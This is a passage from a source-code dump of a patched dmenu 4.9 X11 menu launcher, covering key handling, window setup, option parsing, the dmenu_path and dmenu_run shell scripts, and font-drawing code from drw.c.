(!tokc || !fstrncmp(text, item->text, textsize)) 314 | appenditem(item, &matches, &matchend); 315 | else if (!fstrncmp(tokv[0], item->text, len)) 316 | appenditem(item, &lprefix, &prefixend); 317 | else 318 | appenditem(item, &lsubstr, &substrend); 319 | } 320 | if (lprefix) { 321 | if (matches) { 322 | matchend->right = lprefix; 323 | lprefix->left = matchend; 324 | } else 325 | matches = lprefix; 326 | matchend = prefixend; 327 | } 328 | if (lsubstr) { 329 | if (matches) { 330 | matchend->right = lsubstr; 331 | lsubstr->left = matchend; 332 | } else 333 | matches = lsubstr; 334 | matchend = substrend; 335 | } 336 | curr = sel = matches; 337 | calcoffsets(); 338 | } 339 | 340 | static void 341 | insert(const char *str, ssize_t n) 342 | { 343 | if (strlen(text) + n > sizeof text - 1) 344 | return; 345 | /* move existing text out of the way, insert new text, and update cursor */ 346 | memmove(&text[cursor + n], &text[cursor], sizeof text - cursor - MAX(n, 0)); 347 | if (n > 0) 348 | memcpy(&text[cursor], str, n); 349 | cursor += n; 350 | match(); 351 | } 352 | 353 | static size_t 354 | nextrune(int inc) 355 | { 356 | ssize_t n; 357 | 358 | /* return location of next utf8 rune in the given direction (+1 or -1) */ 359 | for (n = cursor + inc; n + inc >= 0 && (text[n] & 0xc0) == 0x80; n += inc) 360 | ; 361 | return n; 362 | } 363 | 364 | static void 365 | movewordedge(int dir) 366 | { 367 | if (dir < 0) { /* move cursor to the start of the word*/ 368 | while (cursor > 0 && strchr(worddelimiters, text[nextrune(-1)])) 369 | cursor = nextrune(-1); 370 | while (cursor > 0 && !strchr(worddelimiters, text[nextrune(-1)])) 371 | cursor = nextrune(-1); 372 | } else { /* move cursor to the end of the word */ 373 | while (text[cursor] && strchr(worddelimiters, text[cursor])) 374 | cursor = nextrune(+1); 375 | while (text[cursor] && !strchr(worddelimiters, text[cursor])) 376 | cursor = nextrune(+1); 377 | } 378 | } 379 | 380 | static void 381 | keypress(XKeyEvent *ev) 382 | { 383 | char buf[32]; 384 | int len; 385 | KeySym ksym; 386 | Status status; 387 | 388 | len = XmbLookupString(xic, ev, buf, sizeof buf, &ksym, &status); 389 | switch (status) { 390 | default: /* XLookupNone, XBufferOverflow */ 391 | return; 392 | case XLookupChars: 393 | goto insert; 394 | case XLookupKeySym: 395 | case XLookupBoth: 396 | break; 397 | } 398 | 399 | if (ev->state & ControlMask) { 400 | switch(ksym) { 401 | case XK_a: ksym = XK_Home; break; 402 | case XK_b: ksym = XK_Left; break; 403 | case XK_c: ksym = XK_Escape; break; 404 | case XK_d: ksym = XK_Delete; break; 405 | case XK_e: ksym = XK_End; break; 406 | case XK_f: ksym = XK_Right; break; 407 | case XK_g: ksym = XK_Escape; break; 408 | case XK_h: ksym = XK_BackSpace; break; 409 | case XK_i: ksym = XK_Tab; break; 410 | case XK_j: /* fallthrough */ 411 | case XK_J: /* fallthrough */ 412 | case XK_m: /* fallthrough */ 413 | case XK_M: ksym = XK_Return; ev->state &= ~ControlMask; break; 414 | case XK_n: ksym = XK_Down; break; 415 | case XK_p: ksym = XK_Up; break; 416 | 417 | case XK_k: /* delete right */ 418 | text[cursor] = '\0'; 419 | match(); 420 | break; 421 | case XK_u: /* delete left */ 422 | insert(NULL, 0 - cursor); 423 | break; 424 | case XK_w: /* delete word */ 425 | while (cursor > 0 && strchr(worddelimiters, text[nextrune(-1)])) 426 | insert(NULL, nextrune(-1) - cursor); 427 | while (cursor > 0 && !strchr(worddelimiters, text[nextrune(-1)])) 428 | insert(NULL, nextrune(-1) - cursor); 429 | break; 430 | case XK_y: /* paste selection */ 431 | case XK_Y: 432 | XConvertSelection(dpy, (ev->state & ShiftMask) ? clip : XA_PRIMARY, 433 | utf8, utf8, win, CurrentTime); 434 | return; 435 | case XK_Left: 436 | movewordedge(-1); 437 | goto draw; 438 | case XK_Right: 439 | movewordedge(+1); 440 | goto draw; 441 | case XK_Return: 442 | case XK_KP_Enter: 443 | break; 444 | case XK_bracketleft: 445 | cleanup(); 446 | exit(1); 447 | default: 448 | return; 449 | } 450 | } else if (ev->state & Mod1Mask) { 451 | switch(ksym) { 452 | case XK_b: 453 | movewordedge(-1); 454 | goto draw; 455 | case XK_f: 456 | movewordedge(+1); 457 | goto draw; 458 | case XK_g: ksym = XK_Home; break; 459 | case XK_G: ksym = XK_End; break; 460 | case XK_h: ksym = XK_Up; break; 461 | case XK_j: ksym = XK_Next; break; 462 | case XK_k: ksym = XK_Prior; break; 463 | case XK_l: ksym = XK_Down; break; 464 | default: 465 | return; 466 | } 467 | } 468 | 469 | switch(ksym) { 470 | default: 471 | insert: 472 | if (!iscntrl(*buf)) 473 | insert(buf, len); 474 | break; 475 | case XK_Delete: 476 | if (text[cursor] == '\0') 477 | return; 478 | cursor = nextrune(+1); 479 | /* fallthrough */ 480 | case XK_BackSpace: 481 | if (cursor == 0) 482 | return; 483 | insert(NULL, nextrune(-1) - cursor); 484 | break; 485 | case XK_End: 486 | if (text[cursor] != '\0') { 487 | cursor = strlen(text); 488 | break; 489 | } 490 | if (next) { 491 | /* jump to end of list and position items in reverse */ 492 | curr = matchend; 493 | calcoffsets(); 494 | curr = prev; 495 | calcoffsets(); 496 | while (next && (curr = curr->right)) 497 | calcoffsets(); 498 | } 499 | sel = matchend; 500 | break; 501 | case XK_Escape: 502 | cleanup(); 503 | exit(1); 504 | case XK_Home: 505 | if (sel == matches) { 506 | cursor = 0; 507 | break; 508 | } 509 | sel = curr = matches; 510 | calcoffsets(); 511 | break; 512 | case XK_Left: 513 | if (cursor > 0 && (!sel || !sel->left || lines > 0)) { 514 | cursor = nextrune(-1); 515 | break; 516 | } 517 | if (lines > 0) 518 | return; 519 | /* fallthrough */ 520 | case XK_Up: 521 | if (sel && sel->left && (sel = sel->left)->right == curr) { 522 | curr = prev; 523 | calcoffsets(); 524 | } 525 | break; 526 | case XK_Next: 527 | if (!next) 528 | return; 529 | sel = curr = next; 530 | calcoffsets(); 531 | break; 532 | case XK_Prior: 533 | if (!prev) 534 | return; 535 | sel = curr = prev; 536 | calcoffsets(); 537 | break; 538 | case XK_Return: 539 | case XK_KP_Enter: 540 | puts((sel && !(ev->state & ShiftMask)) ? sel->text : text); 541 | if (!(ev->state & ControlMask)) { 542 | cleanup(); 543 | exit(0); 544 | } 545 | if (sel) 546 | sel->out = 1; 547 | break; 548 | case XK_Right: 549 | if (text[cursor] != '\0') { 550 | cursor = nextrune(+1); 551 | break; 552 | } 553 | if (lines > 0) 554 | return; 555 | /* fallthrough */ 556 | case XK_Down: 557 | if (sel && sel->right && (sel = sel->right) == next) { 558 | curr = next; 559 | calcoffsets(); 560 | } 561 | break; 562 | case XK_Tab: 563 | if (!sel) 564 | return; 565 | strncpy(text, sel->text, sizeof text - 1); 566 | text[sizeof text - 1] = '\0'; 567 | cursor = strlen(text); 568 | match(); 569 | break; 570 | } 571 | 572 | draw: 573 | drawmenu(); 574 | } 575 | 576 | static void 577 | paste(void) 578 | { 579 | char *p, *q; 580 | int di; 581 | unsigned long dl; 582 | Atom da; 583 | 584 | /* we have been given the current selection, now insert it into input */ 585 | if (XGetWindowProperty(dpy, win, utf8, 0, (sizeof text / 4) + 1, False, 586 | utf8, &da, &di, &dl, &dl, (unsigned char **)&p) 587 | == Success && p) { 588 | insert(p, (q = strchr(p, '\n')) ? q - p : (ssize_t)strlen(p)); 589 | XFree(p); 590 | } 591 | drawmenu(); 592 | } 593 | 594 | static void 595 | readstdin(void) 596 | { 597 | char buf[sizeof text], *p; 598 | size_t i, imax = 0, size = 0; 599 | unsigned int tmpmax = 0; 600 | if(passwd){ 601 | inputw = lines = 0; 602 | return; 603 | } 604 | 605 | 606 | /* read each line from stdin and add it to the item list */ 607 | for (i = 0; fgets(buf, sizeof buf, stdin); i++) { 608 | if (i + 1 >= size / sizeof *items) 609 | if (!(items = realloc(items, (size += BUFSIZ)))) 610 | die("cannot realloc %u bytes:", size); 611 | if ((p = strchr(buf, '\n'))) 612 | *p = '\0'; 613 | if (!(items[i].text = strdup(buf))) 614 | die("cannot strdup %u bytes:", strlen(buf) + 1); 615 | items[i].out = 0; 616 | drw_font_getexts(drw->fonts, buf, strlen(buf), &tmpmax, NULL); 617 | if (tmpmax > inputw) { 618 | inputw = tmpmax; 619 | imax = i; 620 | } 621 | } 622 | if (items) 623 | items[i].text = NULL; 624 | inputw = items ? TEXTW(items[imax].text) : 0; 625 | lines = MIN(lines, i); 626 | } 627 | 628 | static void 629 | run(void) 630 | { 631 | XEvent ev; 632 | 633 | while (!XNextEvent(dpy, &ev)) { 634 | if (XFilterEvent(&ev, None)) 635 | continue; 636 | switch(ev.type) { 637 | case Expose: 638 | if (ev.xexpose.count == 0) 639 | drw_map(drw, win, 0, 0, mw, mh); 640 | break; 641 | case FocusIn: 642 | /* regrab focus from parent window */ 643 | if (ev.xfocus.window != win) 644 | grabfocus(); 645 | break; 646 | case KeyPress: 647 | keypress(&ev.xkey); 648 | break; 649 | case SelectionNotify: 650 | if (ev.xselection.property == utf8) 651 | paste(); 652 | break; 653 | case VisibilityNotify: 654 | if (ev.xvisibility.state != VisibilityUnobscured) 655 | XRaiseWindow(dpy, win); 656 | break; 657 | } 658 | } 659 | } 660 | 661 | static void 662 | setup(void) 663 | { 664 | int x, y, i, j; 665 | unsigned int du; 666 | XSetWindowAttributes swa; 667 | XIM xim; 668 | Window w, dw, *dws; 669 | XWindowAttributes wa; 670 | XClassHint ch = {"dmenu", "dmenu"}; 671 | #ifdef XINERAMA 672 | XineramaScreenInfo *info; 673 | Window pw; 674 | int a, di, n, area = 0; 675 | #endif 676 | /* init appearance */ 677 | for (j = 0; j < SchemeLast; j++) 678 | scheme[j] = drw_scm_create(drw, colors[j], 2); 679 | 680 | clip = XInternAtom(dpy, "CLIPBOARD", False); 681 | utf8 = XInternAtom(dpy, "UTF8_STRING", False); 682 | 683 | /* calculate menu geometry */ 684 | bh = drw->fonts->h + 2; 685 | bh = MAX(bh,lineheight); /* make a menu line AT LEAST 'lineheight' tall */ 686 | lines = MAX(lines, 0); 687 | mh = (lines + 1) * bh; 688 | promptw = (prompt && *prompt) ? TEXTW(prompt) - lrpad / 4 : 0; 689 | #ifdef XINERAMA 690 | i = 0; 691 | if (parentwin == root && (info = XineramaQueryScreens(dpy, &n))) { 692 | XGetInputFocus(dpy, &w, &di); 693 | if (mon >= 0 && mon < n) 694 | i = mon; 695 | else if (w != root && w != PointerRoot && w != None) { 696 | /* find top-level window containing current input focus */ 697 | do { 698 | if (XQueryTree(dpy, (pw = w), &dw, &w, &dws, &du) && dws) 699 | XFree(dws); 700 | } while (w != root && w != pw); 701 | /* find xinerama screen with which the window intersects most */ 702 | if (XGetWindowAttributes(dpy, pw, &wa)) 703 | for (j = 0; j < n; j++) 704 | if ((a = INTERSECT(wa.x, wa.y, wa.width, wa.height, info[j])) > area) { 705 | area = a; 706 | i = j; 707 | } 708 | } 709 | /* no focused window is on screen, so use pointer location instead */ 710 | if (mon < 0 && !area && XQueryPointer(dpy, root, &dw, &dw, &x, &y, &di, &di, &du)) 711 | for (i = 0; i < n; i++) 712 | if (INTERSECT(x, y, 1, 1, info[i])) 713 | break; 714 | 715 | if (centered) { 716 | mw = MIN(MAX(max_textw() + promptw, min_width), info[i].width); 717 | x = info[i].x_org + ((info[i].width - mw) / 2); 718 | y = info[i].y_org + ((info[i].height - mh) / 2); 719 | } else { 720 | x = info[i].x_org; 721 | y = info[i].y_org + (topbar ? 0 : info[i].height - mh); 722 | mw = info[i].width; 723 | } 724 | 725 | XFree(info); 726 | } else 727 | #endif 728 | { 729 | if (!XGetWindowAttributes(dpy, parentwin, &wa)) 730 | die("could not get embedding window attributes: 0x%lx", 731 | parentwin); 732 | 733 | if (centered) { 734 | mw = MIN(MAX(max_textw() + promptw, min_width), wa.width); 735 | x = (wa.width - mw) / 2; 736 | y = (wa.height - mh) / 2; 737 | } else { 738 | x = 0; 739 | y = topbar ? 0 : wa.height - mh; 740 | mw = wa.width; 741 | } 742 | } 743 | inputw = MIN(inputw, mw/3); 744 | match(); 745 | 746 | /* create menu window */ 747 | swa.override_redirect = True; 748 | swa.background_pixel = scheme[SchemeNorm][ColBg].pixel; 749 | swa.event_mask = ExposureMask | KeyPressMask | VisibilityChangeMask; 750 | win = XCreateWindow(dpy, parentwin, x, y, mw, mh, border_width, 751 | CopyFromParent, CopyFromParent, CopyFromParent, 752 | CWOverrideRedirect | CWBackPixel | CWEventMask, &swa); 753 | XSetWindowBorder(dpy, win, scheme[SchemeSel][ColBg].pixel); 754 | XSetClassHint(dpy, win, &ch); 755 | 756 | /* open input methods */ 757 | xim = XOpenIM(dpy, NULL, NULL, NULL); 758 | xic = XCreateIC(xim, XNInputStyle, XIMPreeditNothing | XIMStatusNothing, 759 | XNClientWindow, win, XNFocusWindow, win, NULL); 760 | 761 | XMapRaised(dpy, win); 762 | XSetInputFocus(dpy, win, RevertToParent, CurrentTime); 763 | if (embed) { 764 | XSelectInput(dpy, parentwin, FocusChangeMask); 765 | if (XQueryTree(dpy, parentwin, &dw, &w, &dws, &du) && dws) { 766 | for (i = 0; i < du && dws[i] != win; ++i) 767 | XSelectInput(dpy, dws[i], FocusChangeMask); 768 | XFree(dws); 769 | } 770 | grabfocus(); 771 | } 772 | drw_resize(drw, mw, mh); 773 | drawmenu(); 774 | } 775 | 776 | static void 777 | usage(void) 778 | { 779 | fputs("usage: dmenu [-bfiv] [-l lines] [-p prompt] [-fn font] [-m monitor]\n" 780 | " [-h height]\n" 781 | " [-nb color] [-nf color] [-sb color] [-sf color] [-w windowid]\n", stderr); 782 | exit(1); 783 | } 784 | 785 | int 786 | main(int argc, char *argv[]) 787 | { 788 | XWindowAttributes wa; 789 | int i, fast = 0; 790 | 791 | for (i = 1; i < argc; i++) 792 | /* these options take no arguments */ 793 | if (!strcmp(argv[i], "-v")) { /* prints version information */ 794 | puts("dmenu-"VERSION); 795 | exit(0); 796 | } else if (!strcmp(argv[i], "-b")) /* appears at the bottom of the screen */ 797 | topbar = 0; 798 | else if (!strcmp(argv[i], "-f")) /* grabs keyboard before reading stdin */ 799 | fast = 1; 800 | else if (!strcmp(argv[i], "-c")) /* centers dmenu on screen */ 801 | centered = 1; 802 | else if (!strcmp(argv[i], "-i")) { /* case-insensitive item matching */ 803 | fstrncmp = strncasecmp; 804 | fstrstr = cistrstr; 805 | } else if (!strcmp(argv[i], "-P")) /* is the input a password */ 806 | passwd = 1; 807 | else if (i + 1 == argc) 808 | usage(); 809 | /* these options take one argument */ 810 | else if (!strcmp(argv[i], "-l")) /* number of lines in vertical list */ 811 | lines = atoi(argv[++i]); 812 | else if (!strcmp(argv[i], "-m")) 813 | mon = atoi(argv[++i]); 814 | else if (!strcmp(argv[i], "-bw")) 815 | border_width = atoi(argv[++i]); 816 | else if (!strcmp(argv[i], "-p")) /* adds prompt to left of input field */ 817 | prompt = argv[++i]; 818 | else if (!strcmp(argv[i], "-fn")) /* font or font set */ 819 | fonts[0] = argv[++i]; 820 | else if(!strcmp(argv[i], "-h")) { /* minimum height of one menu line */ 821 | lineheight = atoi(argv[++i]); 822 | lineheight = MAX(lineheight,8); /* reasonable default in case of value too small/negative */ 823 | } 824 | else if (!strcmp(argv[i], "-nb")) /* normal background color */ 825 | colors[SchemeNorm][ColBg] = argv[++i]; 826 | else if (!strcmp(argv[i], "-nf")) /* normal foreground color */ 827 | colors[SchemeNorm][ColFg] = argv[++i]; 828 | else if (!strcmp(argv[i], "-sb")) /* selected background color */ 829 | colors[SchemeSel][ColBg] = argv[++i]; 830 | else if (!strcmp(argv[i], "-sf")) /* selected foreground color */ 831 | colors[SchemeSel][ColFg] = argv[++i]; 832 | else if (!strcmp(argv[i], "-w")) /* embedding window id */ 833 | embed = argv[++i]; 834 | else 835 | usage(); 836 | 837 | if (!setlocale(LC_CTYPE, "") || !XSupportsLocale()) 838 | fputs("warning: no locale support\n", stderr); 839 | if (!XSetLocaleModifiers("")) 840 | fputs("warning: no locale modifiers support\n", stderr); 841 | if (!(dpy = XOpenDisplay(NULL))) 842 | die("cannot open display"); 843 | screen = DefaultScreen(dpy); 844 | root = RootWindow(dpy, screen); 845 | if (!embed || !(parentwin = strtol(embed, NULL, 0))) 846 | parentwin = root; 847 | if (!XGetWindowAttributes(dpy, parentwin, &wa)) 848 | die("could not get embedding window attributes: 0x%lx", 849 | parentwin); 850 | drw = drw_create(dpy, screen, root, wa.width, wa.height); 851 | if (!drw_fontset_create(drw, fonts, LENGTH(fonts))) 852 | die("no fonts could be loaded."); 853 | lrpad = drw->fonts->h; 854 | 855 | #ifdef __OpenBSD__ 856 | if (pledge("stdio rpath", NULL) == -1) 857 | die("pledge"); 858 | #endif 859 | 860 | if (fast && !isatty(0)) { 861 | grabkeyboard(); 862 | readstdin(); 863 | } else { 864 | readstdin(); 865 | grabkeyboard(); 866 | } 867 | setup(); 868 | run(); 869 | 870 | return 1; /* unreachable */ 871 | } 872 | -------------------------------------------------------------------------------- /dmenu-4.9/dmenu_path: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cachedir="${XDG_CACHE_HOME:-"$HOME/.cache"}" 4 | cache="$cachedir/dmenu_run" 5 | 6 | [ ! -e "$cachedir" ] && mkdir -p "$cachedir" 7 | 8 | IFS=: 9 | if stest -dqr -n "$cache" $PATH; then 10 | stest -flx $PATH | sort -u | tee "$cache" 11 | else 12 | cat "$cache" 13 | fi 14 | -------------------------------------------------------------------------------- /dmenu-4.9/dmenu_run: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | dmenu_path | dmenu "$@" | ${SHELL:-"/bin/sh"} & 3 | -------------------------------------------------------------------------------- /dmenu-4.9/drw.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "drw.h" 9 | #include "util.h" 10 | 11 | #define UTF_INVALID 0xFFFD 12 | #define UTF_SIZ 4 13 | 14 | static const unsigned char utfbyte[UTF_SIZ + 1] = {0x80, 0, 0xC0, 0xE0, 0xF0}; 15 | static const unsigned char utfmask[UTF_SIZ + 1] = {0xC0, 0x80, 0xE0, 0xF0, 0xF8}; 16 | static const long utfmin[UTF_SIZ + 1] = { 0, 0, 0x80, 0x800, 0x10000}; 17 | static const long utfmax[UTF_SIZ + 1] = {0x10FFFF, 0x7F, 0x7FF, 0xFFFF, 0x10FFFF}; 18 | 19 | static long 20 | utf8decodebyte(const char c, size_t *i) 21 | { 22 | for (*i = 0; *i < (UTF_SIZ + 1); ++(*i)) 23 | if (((unsigned char)c & utfmask[*i]) == utfbyte[*i]) 24 | return (unsigned char)c & ~utfmask[*i]; 25 | return 0; 26 | } 27 | 28 | static size_t 29 | utf8validate(long *u, size_t i) 30 | { 31 | if (!BETWEEN(*u, utfmin[i], utfmax[i]) || BETWEEN(*u, 0xD800, 0xDFFF)) 32 | *u = UTF_INVALID; 33 | for (i = 1; *u > utfmax[i]; ++i) 34 | ; 35 | return i; 36 | } 37 | 38 | static size_t 39 | utf8decode(const char *c, long *u, size_t clen) 40 | { 41 | size_t i, j, len, type; 42 | long udecoded; 43 | 44 | *u = UTF_INVALID; 45 | if (!clen) 46 | return 0; 47 | udecoded = utf8decodebyte(c[0], &len); 48 | if (!BETWEEN(len, 1, UTF_SIZ)) 49 | return 1; 50 | for (i = 1, j = 1; i < clen && j < len; ++i, ++j) { 51 | udecoded = (udecoded << 6) | utf8decodebyte(c[i], &type); 52 | if (type) 53 | return j; 54 | } 55 | if (j < len) 56 | return 0; 57 | *u = udecoded; 58 | utf8validate(u, len); 59 | 60 | return len; 61 | } 62 | 63 | Drw * 64 | drw_create(Display *dpy, int screen, Window root, unsigned int w, unsigned int h) 65 | { 66 | Drw *drw = ecalloc(1, sizeof(Drw)); 67 | 68 | drw->dpy = dpy; 69 | drw->screen = screen; 70 | drw->root = root; 71 | drw->w = w; 72 | drw->h = h; 73 | drw->drawable = XCreatePixmap(dpy, root, w, h, DefaultDepth(dpy, screen)); 74 | drw->gc = XCreateGC(dpy, root, 0, NULL); 75 | XSetLineAttributes(dpy, drw->gc, 1, LineSolid, CapButt, JoinMiter); 76 | 77 | return drw; 78 | } 79 | 80 | void 81 | drw_resize(Drw *drw, unsigned int w, unsigned int h) 82 | { 83 | if (!drw) 84 | return; 85 | 86 | drw->w = w; 87 | drw->h = h; 88 | if (drw->drawable) 89 | XFreePixmap(drw->dpy, drw->drawable); 90 | drw->drawable = XCreatePixmap(drw->dpy, drw->root, w, h, DefaultDepth(drw->dpy, drw->screen)); 91 | } 92 | 93 | void 94 | drw_free(Drw *drw) 95 | { 96 | XFreePixmap(drw->dpy, drw->drawable); 97 | XFreeGC(drw->dpy, drw->gc); 98 | free(drw); 99 | } 100 | 101 | /* This function is an implementation detail. Library users should use 102 | * drw_fontset_create instead. 103 | */ 104 | static Fnt * 105 | xfont_create(Drw *drw, const char *fontname, FcPattern *fontpattern) 106 | { 107 | Fnt *font; 108 | XftFont *xfont = NULL; 109 | FcPattern *pattern = NULL; 110 | 111 | if (fontname) { 112 | /* Using the pattern found at font->xfont->pattern does not yield the 113 | * same substitution results as using the pattern returned by 114 | * FcNameParse; using the latter results in the desired fallback 115 | * behaviour whereas the former just results in missing-character 116 | * rectangles being drawn, at least with some fonts. */ 117 | if (!(xfont = XftFontOpenName(drw->dpy, drw->screen, fontname))) { 118 | fprintf(stderr, "error, cannot load font from name: '%s'\n", fontname); 119 | return NULL; 120 | } 121 | if (!(pattern = FcNameParse((FcChar8 *) fontname))) { 122 | fprintf(stderr, "error, cannot parse font name to pattern: '%s'\n", fontname); 123 | XftFontClose(drw->dpy, xfont); 124 | return NULL; 125 | } 126 | } else if (fontpattern) { 127 | if (!(xfont = XftFontOpenPattern(drw->dpy, fontpattern))) { 128 | fprintf(stderr, "error, cannot load font from pattern.\n"); 129 | return NULL; 130 | } 131 | } else { 132 | die("no font specified."); 133 | } 134 | 135 | /* Do not allow using color fonts. This is a workaround for a BadLength 136 | * error from Xft with color glyphs. Modelled on the Xterm workaround. See 137 | * https://bugzilla.redhat.com/show_bug.cgi?id=1498269 138 | * https://lists.suckless.org/dev/1701/30932.html 139 | * https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916349 140 | * and lots more all over the internet. 141 | */ 142 | FcBool iscol; 143 | if(FcPatternGetBool(xfont->pattern, FC_COLOR, 0, &iscol) == FcResultMatch && iscol) { 144 | XftFontClose(drw->dpy, xfont); 145 | return NULL; 146 | } 147 | 148 | font = ecalloc(1, sizeof(Fnt)); 149 | font->xfont = xfont; 150 | font->pattern = pattern; 151 | font->h = xfont->ascent + xfont->descent; 152 | font->dpy = drw->dpy; 153 | 154 | return font; 155 | } 156 | 157 | static void 158 | xfont_free(Fnt *font) 159 | { 160 | if (!font) 161 | return; 162 | if (font->pattern) 163 | FcPatternDestroy(font->pattern); 164 | XftFontClose(font->dpy, font->xfont); 165 | free(font); 166 | } 167 | 168 | Fnt* 169 | drw_fontset_create(Drw* drw, const char *fonts[], size_t fontcount) 170 | { 171 | Fnt *cur, *ret = NULL; 172 | size_t i; 173 | 174 | if (!drw || !fonts) 175 | return NULL; 176 | 177 | for (i = 1; i <= fontcount; i++) { 178 | if ((cur = xfont_create(drw, fonts[fontcount - i], NULL))) { 179 | cur->next = ret; 180 | ret = cur; 181 | } 182 | } 183 | return (drw->fonts = ret); 184 | } 185 | 186 | void 187 | drw_fontset_free(Fnt *font) 188 | { 189 | if (font) { 190 | drw_fontset_free(font->next); 191 | xfont_free(font); 192 | } 193 | } 194 | 195 | void 196 | drw_clr_create(Drw *drw, Clr *dest, const char *clrname) 197 | { 198 | if (!drw || !dest || !clrname) 199 | return; 200 | 201 | if (!XftColorAllocName(drw->dpy, DefaultVisual(drw->dpy, drw->screen), 202 | DefaultColormap(drw->dpy, drw->screen), 203 | clrname, dest)) 204 | die("error, cannot allocate color '%s'", clrname); 205 | } 206 | 207 | /* Wrapper to create color schemes. The caller has to call free(3) on the 208 | * returned color scheme when done using it. */ 209 | Clr * 210 | drw_scm_create(Drw *drw, const char *clrnames[], size_t clrcount) 211 | { 212 | size_t i; 213 | Clr *ret; 214 | 215 | /* need at least two colors for a scheme */ 216 | if (!drw || !clrnames || clrcount < 2 || !(ret = ecalloc(clrcount, sizeof(XftColor)))) 217 | return NULL; 218 | 219 | for (i = 0; i < clrcount; i++) 220 | drw_clr_create(drw, &ret[i], clrnames[i]); 221 | return ret; 222 | } 223 | 224 | void 225 | drw_setfontset(Drw *drw, Fnt *set) 226 | { 227 | if (drw) 228 | drw->fonts = set; 229 | } 230 | 231 | void 232 | drw_setscheme(Drw *drw, Clr *scm) 233 | { 234 | if (drw) 235 | drw->scheme = scm; 236 | } 237 | 238 | void 239 | drw_rect(Drw *drw, int x, int y, unsigned int w, unsigned int h, int filled, int invert) 240 | { 241 | if (!drw || !drw->scheme) 242 | return; 243 | XSetForeground(drw->dpy, drw->gc, invert ? drw->scheme[ColBg].pixel : drw->scheme[ColFg].pixel); 244 | if (filled) 245 | XFillRectangle(drw->dpy, drw->drawable, drw->gc, x, y, w, h); 246 | else 247 | XDrawRectangle(drw->dpy, drw->drawable, drw->gc, x, y, w - 1, h - 1); 248 | } 249 | 250 | int 251 | drw_text(Drw *drw, int x, int y, unsigned int w, unsigned int h, unsigned int lpad, const char *text, int invert) 252 | { 253 | char buf[1024]; 254 | int ty; 255 | unsigned int ew; 256 | XftDraw *d = NULL; 257 | Fnt *usedfont, *curfont, *nextfont; 258 | size_t i, len; 259 | int utf8strlen, utf8charlen, render = x || y || w || h; 260 | long utf8codepoint = 0; 261 | const char *utf8str; 262 | FcCharSet *fccharset; 263 | FcPattern *fcpattern; 264 | FcPattern *match; 265 | XftResult result; 266 | int charexists = 0; 267 | 268 | if (!drw || (render && !drw->scheme) || !text || !drw->fonts) 269 | return 0; 270 | 271 | if (!render) { 272 | w = ~w; 273 | } else { 274 | XSetForeground(drw->dpy, drw->gc, drw->scheme[invert ? ColFg : ColBg].pixel); 275 | XFillRectangle(drw->dpy, drw->drawable, drw->gc, x, y, w, h); 276 | d = XftDrawCreate(drw->dpy, drw->drawable, 277 | DefaultVisual(drw->dpy, drw->screen), 278 | DefaultColormap(drw->dpy, drw->screen)); 279 | x += lpad; 280 | w -= lpad; 281 | } 282 | 283 | usedfont = drw->fonts; 284 | while (1) { 285 | utf8strlen = 0; 286 | utf8str = text; 287 | nextfont = NULL; 288 | while (*text) { 289 | utf8charlen = utf8decode(text, &utf8codepoint, UTF_SIZ); 290 | for (curfont = drw->fonts; curfont; curfont = curfont->next) { 291 | charexists = charexists || XftCharExists(drw->dpy, curfont->xfont, utf8codepoint); 292 | if (charexists) { 293 | if (curfont == usedfont) { 294 | utf8strlen += utf8charlen; 295 | text += utf8charlen; 296 | } else { 297 | nextfont = curfont; 298 | } 299 | break; 300 | } 301 | } 302 | 303 | if (!charexists || nextfont) 304 | break; 305 | else 306 | charexists = 0; 307 | } 308 | 309 | if (utf8strlen) { 310 | drw_font_getexts(usedfont, utf8str, utf8strlen, &ew, NULL); 311 | /* shorten text if necessary */ 312 | for (len = MIN(utf8strlen, sizeof(buf) - 1); len && ew > w; len--) 313 | drw_font_getexts(usedfont, utf8str, len, &ew, NULL); 314 | 315 | if (len) { 316 | memcpy(buf, utf8str, len); 317 | buf[len] = '\0'; 318 | if (len < utf8strlen) 319 | for (i = len; i && i > len - 3; buf[--i] = '.') 320 | ; /* NOP */ 321 | 322 | if (render) { 323 | ty = y + (h - usedfont->h) / 2 + usedfont->xfont->ascent; 324 | XftDrawStringUtf8(d, &drw->scheme[invert ? ColBg : ColFg], 325 | usedfont->xfont, x, ty, (XftChar8 *)buf, len); 326 | } 327 | x += ew; 328 | w -= ew; 329 | } 330 | } 331 | 332 | if (!*text) { 333 | break; 334 | } else if (nextfont) { 335 | charexists = 0; 336 | usedfont = nextfont; 337 | } else { 338 | /* Regardless of whether or not a fallback font is found, the 339 | * character must be drawn. */ 340 | charexists = 1; 341 | 342 | fccharset = FcCharSetCreate(); 343 | FcCharSetAddChar(fccharset, utf8codepoint); 344 | 345 | if (!drw->fonts->pattern) { 346 | /* Refer to the comment in xfont_create for more information. */ 347 | die("the first font in the cache must be loaded from a font string."); 348 | } 349 | 350 | fcpattern = FcPatternDuplicate(drw->fonts->pattern); 351 | FcPatternAddCharSet(fcpattern, FC_CHARSET, fccharset); 352 | FcPatternAddBool(fcpattern, FC_SCALABLE, FcTrue); 353 | FcPatternAddBool(fcpattern, FC_COLOR, FcFalse); 354 | 355 | FcConfigSubstitute(NULL, fcpattern, FcMatchPattern); 356 | FcDefaultSubstitute(fcpattern); 357 | match = XftFontMatch(drw->dpy, drw->screen, fcpattern, &result); 358 | 359 | FcCharSetDestroy(fccharset); 360 | FcPatternDestroy(fcpattern); 361 | 362 | if (match) { 363 | usedfont = xfont_create(drw, NULL, match); 364 | if (usedfont && XftCharExists(drw->dpy, usedfont->xfont, utf8codepoint)) { 365 | for (curfont = drw->fonts; curfont->next; curfont = curfont->next) 366 | ; /* NOP */ 367 | curfont->next = usedfont; 368 | } else { 369 | xfont_free(usedfont); 370 | usedfont = drw->fonts; 371 | } 372 | } 373 | } 374 | } 375 | if (d) 376 | XftDrawDestroy(d); 377 | 378 | return x + (render ? w : 0); 379 | } 380 | 381 | void 382 | drw_map(Drw *drw, Window win, int x, int y, unsigned int w, unsigned int h) 383 | { 384 | if (!drw) 385 | return; 386 | 387 | XCopyArea(drw->dpy, drw->drawable, win, drw->gc, x, y, w, h, x, y); 388 | XSync(drw->dpy, False); 389 | } 390 | 391 | unsigned int 392 | drw_fontset_getwidth(Drw *drw, const char *text) 393 | { 394 | if (!drw || !drw->fonts || !text) 395 | return 